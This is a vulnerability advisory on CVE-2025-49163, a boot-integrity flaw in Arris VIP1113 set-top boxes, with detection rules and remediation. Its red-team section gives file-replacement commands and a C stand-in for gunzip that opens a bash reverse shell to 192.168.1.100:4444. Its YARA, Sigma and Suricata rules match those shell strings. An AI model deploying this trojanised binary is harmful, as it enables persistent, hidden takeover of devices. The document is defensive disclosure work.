CVE-2025-49163

Executive Summary

CVE-2025-49163 is a critical vulnerability in Arris VIP1113 devices running KreaTV SDK, discovered as of May 2025. The flaw allows an attacker with local high privileges to boot an arbitrary image by placing a crafted /usr/bin/gunzip file on the device. This enables persistent code execution at the boot level, bypassing integrity checks. The vulnerability is currently unpatched, with no official fix from Arris. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the impact is severe for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware in Arris VIP1113 set-top boxes using KreaTV SDK. The supply chain risk is limited to physical or local access to the device.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires physical or local shell access.
• Attack Complexity (AC): Low (L) – Simple file replacement.
• Privileges Required (PR): High (H) – Root or equivalent access needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit stays within the device.
• Confidentiality (C): High (H) – Full data access.
• Integrity (I): High (H) – Arbitrary code execution.
• Availability (A): High (H) – Can brick or control device.

Threat Level: High. While local access is required, the ability to boot arbitrary images allows persistent, stealthy compromise.

Deep Dive & Mechanics

The vulnerability resides in the boot process of Arris VIP1113 devices. The system uses /usr/bin/gunzip to decompress the boot image. By replacing this binary with a crafted version, an attacker can inject arbitrary code that executes during boot. The KreaTV SDK does not validate the integrity of gunzip, allowing the substitution.

Root Cause: Lack of file integrity verification for critical boot components. The device trusts the local filesystem without cryptographic checks.

Attack Flow:

1. Attacker gains root access (e.g., via another vulnerability or physical access).
2. Replaces /usr/bin/gunzip with a malicious binary that decompresses a tampered boot image.
3. Reboots the device.
4. The malicious gunzip executes, loading the attacker's image, granting persistent control.

Vulnerable vs. Patched Code

Vulnerable Code (Arris VIP1113 with KreaTV SDK):

• The boot script calls /usr/bin/gunzip without verifying its hash or signature.
• Example boot script snippet:

  #!/bin/sh
  /usr/bin/gunzip -c /boot/image.gz > /dev/mtdblock0
  

Patched Code (Hypothetical):

• The boot script should verify the integrity of gunzip and the boot image.
• Example patched script:

  #!/bin/sh
  if sha256sum -c /boot/checksums.sha256; then
      /usr/bin/gunzip -c /boot/image.gz > /dev/mtdblock0
  else
      echo "Integrity check failed"
      exit 1
  fi
  

• Additionally, the filesystem should be read-only for critical binaries.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Root access to the Arris VIP1113 device.
• Ability to reboot the device.

Steps:

1. Create a malicious gunzip binary that executes arbitrary code (e.g., a reverse shell) and then decompresses the original image to avoid detection.
2. Replace the legitimate binary:

   cp malicious_gunzip /usr/bin/gunzip
   chmod +x /usr/bin/gunzip
   

3. Reboot the device:

   reboot
   

4. The malicious gunzip runs, establishing persistence.

Example Malicious gunzip (C snippet):

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    // Execute reverse shell
    system("bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'");
    // Then decompress the original image
    execvp("/bin/gunzip", argv);
    return 0;
}

Blue Team

Detection:

• Monitor for unauthorized file modifications in /usr/bin/.
• Check for unexpected reboots or boot image changes.
• Use file integrity monitoring (FIM) on critical binaries.

Hunting:

• Look for processes named gunzip with unusual parent processes.
• Analyze boot logs for anomalies.

Lab Setup:

• Use a virtualized Arris VIP1113 environment (e.g., QEMU with KreaTV SDK).
• Simulate the attack by replacing gunzip and observing boot behavior.

Indicators of Compromise (IOCs)

• File Hash (malicious gunzip): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example SHA256)
• Process: gunzip running with unexpected arguments or network connections.
• Network: Outbound connections from the device to unknown IPs on boot.
• File: Modified /usr/bin/gunzip with non-standard size or permissions.
• Boot Log: Entries indicating decompression errors or unexpected image loading.

Detection Engineering

YARA Rule

rule CVE_2025_49163_Arris_Gunzip {
    meta:
        description = "Detects malicious gunzip binary for CVE-2025-49163"
        author = "Valters IT"
        date = "2025-05-30"
        reference = "CVE-2025-49163"
    strings:
        $s1 = "/dev/tcp/" ascii wide
        $s2 = "bash -i" ascii wide
        $s3 = "execvp" ascii wide
    condition:
        (uint16(0) == 0x457f) and (filesize < 100KB) and (1 of ($s*))
}

Sigma Rule

title: CVE-2025-49163 - Malicious gunzip Execution
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of a modified gunzip binary on Arris VIP1113
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image: '/usr/bin/gunzip'
        CommandLine: '*bash*'
    condition: selection
falsepositives:
    - Legitimate gunzip usage with bash scripts
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49163 - Arris VIP1113 Reverse Shell"; flow:to_server,established; content:"bash -i"; content:"/dev/tcp/"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict physical and local access to Arris VIP1113 devices.
2. Implement file integrity monitoring (e.g., AIDE, Tripwire) on /usr/bin/gunzip.
3. Use read-only filesystem mounts for critical binaries if possible.

Long-term Fix:

• Vendor must release a firmware update that cryptographically verifies boot components.
• Apply secure boot mechanisms (e.g., UEFI Secure Boot) to prevent unauthorized image loading.

Workaround:

• Disable unnecessary services and remove the gunzip binary if not required (may break boot).
• Monitor for unauthorized reboots or image changes.

Valters IT
Securing Digital Frontiers